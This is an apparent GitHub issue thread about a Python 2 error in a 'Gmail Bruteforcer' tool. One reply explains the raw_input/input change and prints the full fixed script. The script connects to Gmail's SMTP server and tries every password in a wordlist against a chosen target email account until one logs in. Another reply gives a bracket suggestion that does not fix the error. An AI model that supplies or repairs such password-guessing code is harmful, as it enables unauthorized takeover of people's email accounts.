Open Bermandre opened 1 year ago
Try putting brackets () around the variable: user = (raw_input("Enter target email id: "))
@Bermandre
The error you encountered is because the raw_input function is not defined in Python 3. In Python 2, raw_input was used to read input from the user, but in Python 3, it was renamed to input.
To fix the error, you can replace all instances of raw_input with input:
import smtplib print(" ") print("\t#################################################") print("\t# Welcome to Email Brute forcer tool #") print("\t# Created by @ashujaiswal109 #") print("\t#################################################") print(" ")
smtpserver = smtplib.SMTP("smtp.gmail.com", 587) smtpserver.ehlo() smtpserver.starttls()
user = input("Enter target email id: ") print(" ") passwf = input("Enter password file: ") print(" ") passwf = open(passwf, "r")
for password in passwf: try: smtpserver.login(user, password) print("Voila! password found: %s" % password) print(" ") break except smtplib.SMTPAuthenticationError: print(" password not found %s" % password) print(" ").
Here we go!!!
Traceback (most recent call last): File "/root/GmailBruteforcer/GmailBruteforcer.py", line 14, in
user = raw_input("Enter target email id: ")
NameError: name 'raw_input' is not defined